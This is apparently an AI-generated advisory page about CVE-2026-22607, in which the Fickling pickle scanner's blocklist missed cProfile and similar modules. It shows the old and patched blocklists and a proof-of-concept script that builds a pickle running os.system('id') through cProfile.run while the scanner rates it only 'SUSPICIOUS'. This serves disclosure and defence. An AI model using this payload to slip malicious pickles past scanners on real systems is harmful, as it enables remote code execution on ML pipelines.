CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-22607

The Fickle Guard Dog: Bypassing Fickling's Safety Checks (CVE-2026-22607)

Alon Barad
Alon Barad
Software Engineer

Feb 23, 2026·5 min read·15 visits

Executive Summary (TL;DR)

Fickling missed `cProfile` and other modules in its blocklist. Attackers can use `cProfile.run()` to execute code inside a pickle. Fickling flags this as merely 'Suspicious', allowing the exploit to slip past automated security checks expecting an 'Overtly Malicious' verdict.

Fickling, a specialized tool designed to analyze and decompile Python pickles safely, contained a critical oversight in its blocklist logic. By failing to flag the `cProfile` module and other standard libraries as dangerous, Fickling allowed attackers to craft malicious pickles that execute arbitrary code while only being flagged as "SUSPICIOUS" rather than "OVERTLY_MALICIOUS." This effectively bypasses the security gates relying on Fickling's severity ratings.

The Hook: The Promise of Safe Pickles

Python's pickle module is notoriously dangerous. The documentation itself practically screams "DO NOT USE ON UNTRUSTED DATA." Yet, the world runs on serialized data, and machine learning models (often distributed as pickles) are everywhere. Enter Fickling, a tool by Trail of Bits designed to decompile, analyze, and—crucially—judge the safety of these binary blobs. Ideally, it acts as a bomb squad robot: it x-rays the package and tells you if it's going to blow up your server.

But here's the irony: building a safety scanner for a format that is essentially a stack-based virtual machine is incredibly hard. You have to anticipate every way an attacker might invoke code execution. In CVE-2026-22607, we see what happens when the scanner knows about the front door (os.system) and the back door (subprocess.Popen), but forgets that the house also has a doggy door labeled cProfile. This vulnerability isn't a buffer overflow; it's a logic flaw where a "profiling tool" becomes a weapon of mass destruction.

The Flaw: The Profiler That Could

Fickling works by symbolically executing the pickle bytecode to build an Abstract Syntax Tree (AST). It then runs heuristics over this AST to detect "unsafe" imports or calls. This is a classic blocklist approach (CWE-184). The developers correctly identified that os, sys, and subprocess are dangerous. If a pickle tries to import os and call system, Fickling screams "OVERTLY_MALICIOUS."

However, Python's standard library is massive and full of gadgets. The flaw here was the omission of cProfile. To a developer, cProfile is a tool for optimizing code performance. To a hacker, cProfile.run(command) is just exec(command) with a fancy mustache. Because cProfile wasn't on the UNSAFE_IMPORTS list, Fickling saw it, shrugged, and let it pass. It might flag the pickle as SUSPICIOUS due to other heuristics (like weird variable usage), but in many automated pipelines, SUSPICIOUS is treated as "probably fine," whereas OVERTLY_MALICIOUS is "burn it with fire." This distinction is the difference between a blocked attack and a shell on your server.

The Code: Missing the Forest for the Trees

Let's look at the "security" logic before the patch. The UnsafeImports analysis relied on a hardcoded set of module names. If the module wasn't in the set, it wasn't unsafe.

Vulnerable Code (Concept):

UNSAFE_IMPORTS = {
    "os", "sys", "subprocess", "shutil", ...
}
 
if node.module in UNSAFE_IMPORTS:
    severity = OVERTLY_MALICIOUS

The patch in version 0.1.7 didn't just add cProfile; it realized the list was woefully incomplete. They added runpy (executes files), ctypes (loads C libraries), pydoc (locates objects), and importlib. Furthermore, they hardened the matching logic.

Patched Code (Simplified):

# Expanded blocklist
UNSAFE_IMPORTS = {
    "os", "sys", "subprocess", "cProfile", "runpy", 
    "ctypes", "pydoc", "importlib", "code", "multiprocessing", ...
}
 
# Better matching logic to catch submodules
if any(comp in UNSAFE_IMPORTS for comp in node.module.split('.')):
    severity = OVERTLY_MALICIOUS

They also fixed a visibility gap where builtins weren't generating AST nodes, meaning attacks using builtins.__import__ were effectively invisible to the analyzer.

The Exploit: Crafting the Ghost Pickle

To exploit this, we don't need memory corruption. We just need to speak the language of the Pickle Virtual Machine (PVM). We want to invoke cProfile.run('print("PWNED")'). In pickle logic, we load the global cProfile.run, push a string argument, and call REDUCE.

Here is what that looks like in a Python script generating the payload:

import pickle
import pickletools
from fickling.fickle import Pickled, op
 
# The payload string is passed to cProfile.run(), which passes it to exec()
payload_code = "import os; os.system('id')"
 
# Constructing the malicious pickle manually using Fickling's own tools
pickled = Pickled([
    op.Proto.create(5),
    op.ShortBinUnicode("cProfile"),
    op.Memoize(),
    op.ShortBinUnicode("run"),
    op.Memoize(),
    op.StackGlobal(), # Resolves cProfile.run
    op.Memoize(),
    op.ShortBinUnicode(payload_code), 
    op.Memoize(),
    op.TupleOne(),    # Creates a tuple of arguments: (payload_code,)
    op.Memoize(),
    op.Reduce(),      # Calls cProfile.run(payload_code)
    op.Memoize(),
    op.Stop(),
])
 
print(f"Generated payload length: {len(pickled.dumps())}")
# When Fickling <= 0.1.6 scans this, it returns Severity.SUSPICIOUS
# When Python unpickles this, it executes the code.

The beauty of this exploit is its simplicity. It uses standard library features exactly as designed, just in a context the security tool deemed "safe enough."

The Impact: Suspicious vs. Malicious

Why does the distinction between SUSPICIOUS and OVERTLY_MALICIOUS matter? Because of alert fatigue and automated policy.

Security tools like Fickling are often used in pipelines (e.g., scanning uploaded ML models). If Fickling flags everything as SUSPICIOUS (which can happen with complex, benign pickles), operators might tune their policy to only block OVERTLY_MALICIOUS findings. By abusing cProfile, an attacker slides under this threshold.

The impact is full Remote Code Execution (RCE) with the privileges of the process unpickling the data. In the context of ML pipelines, this often means access to GPU clusters, training data, or model weights. The CVSS score is high (7.8) for a reason—it's a complete bypass of the tool's core value proposition.

The Fix: Patching the Holes

The remediation is straightforward: Update to Fickling 0.1.7 or later.

The fix involves a more comprehensive blocklist and structural changes to how imports are analyzed. If you cannot update, you must treat any pickle flagged as SUSPICIOUS by Fickling as potentially lethal, specifically looking for imports of cProfile, runpy, or ctypes in the analysis output.

> [!NOTE] > Developer Lesson: Blocklists are hard. In dynamic languages like Python, there is almost always another way to execute code. eval, exec, timeit, cProfile, pdb, code.InteractiveConsole... the list is endless. If you are building a sandbox or analyzer, assume your blocklist is incomplete.

Official Patches

Trail of BitsGitHub Security Advisory GHSA-p523-jq9w-64x9

Fix Analysis (1)

Technical Appendix

CVSS Score
7.8/ 10
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Probability
0.06%
Top 83% most exploited

Affected Systems

Fickling <= 0.1.6

Affected Versions Detail

Product
Affected Versions
Fixed Version
fickling
Trail of Bits
<= 0.1.60.1.7
AttributeDetail
CWECWE-184 (Incomplete List of Disallowed Inputs)
Attack VectorLocal / Network (depending on pickle source)
CVSS v3.17.8 (High)
CVSS v4.08.9 (High)
ImpactSecurity Bypass leading to RCE
Exploit StatusPoC Available

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1190Exploit Public-Facing Application
Initial Access
CWE-184
Incomplete List of Disallowed Inputs

Vulnerability Timeline

Issues identified via Dependabot
2025-12-15
Initial fix commits for runpy and cProfile
2026-01-07
Public Disclosure & Patch Release (v0.1.7)
2026-01-10

References & Sources

  • [1]Official Advisory
  • [2]Python Pickle Documentation

More Reports

•7 days ago•CVE-2026-9354
6.9

CVE-2026-9354: Arbitrary Mass Mention Bypass in NousResearch hermes-agent Slack and Mattermost Adapters

A vulnerability in the Slack and Mattermost platform adapters for NousResearch hermes-agent permits an unauthenticated remote attacker to execute arbitrary mass mentions. By leveraging prompt injection, an attacker can bypass output sanitization logic and trigger workspace-wide notification exhaustion.

Alon Barad
Alon Barad
35 views•6 min read
•7 days ago•CVE-2026-9306
6.3

CVE-2026-9306: Unauthenticated Insecure Direct Object Reference (IDOR) in QuantumNous new-api Midjourney Relay

CVE-2026-9306 is a critical unauthenticated Insecure Direct Object Reference (IDOR) vulnerability located in the QuantumNous new-api application, affecting versions up to and including 0.12.1. The flaw is caused by improper middleware ordering combined with a lack of object-level authorization checks. This allows remote, unauthenticated attackers to retrieve sensitive Midjourney images belonging to other users by supplying a valid task identifier.

Amit Schendel
Amit Schendel
13 views•5 min read
•8 days ago•GHSA-GGXF-37HM-9WQF
6.5

GHSA-GGXF-37HM-9WQF: Session Leakage via Unsafe Challenge Path Parsing in instagrapi

The instagrapi library prior to version 2.6.9 contains an improper input validation vulnerability within its challenge handling mechanism. Maliciously crafted server responses can manipulate the client into forwarding session cookies and credentials to an external attacker-controlled domain.

Amit Schendel
Amit Schendel
21 views•6 min read
•8 days ago•GHSA-QQQM-5547-774X
9.1

GHSA-QQQM-5547-774X: Unauthenticated Path Traversal in FileBrowser Quantum PATCH Handler

GHSA-QQQM-5547-774X is a critical path traversal vulnerability in the FileBrowser Quantum application, specifically within the Go backend package. The vulnerability resides in the HTTP handler responsible for processing bulk file modifications via the public API. Unauthenticated attackers can exploit an order-of-operations flaw in the path sanitization logic to bypass intended directory restrictions. This allows adversaries to arbitrarily read, move, and overwrite files on the underlying filesystem by supplying specially crafted HTTP PATCH requests.

Alon Barad
Alon Barad
9 views•6 min read
•8 days ago•CVE-2026-8723
5.3

CVE-2026-8723: Synchronous Denial of Service in qs npm Package via TypeError

The qs query string parsing and serialization library for Node.js is vulnerable to a synchronous Denial of Service (DoS) attack. The vulnerability manifests as a process-terminating TypeError when processing arrays with null or undefined elements under specific configuration parameters.

Amit Schendel
Amit Schendel
37 views•7 min read
•8 days ago•GHSA-7M8F-HGJQ-8GC9
7.5

GHSA-7M8F-HGJQ-8GC9: Pre-Authentication Denial of Service via Insecure Deserialization Order in aiosend

The aiosend library prior to version 3.0.6 contains a pre-authentication Denial of Service (DoS) vulnerability in its webhook handling mechanism. The software processes and deserializes incoming JSON payloads before verifying the cryptographic signature, allowing unauthenticated attackers to exhaust server CPU and memory resources by sending large, complex payloads.

Amit Schendel
Amit Schendel
4 views•6 min read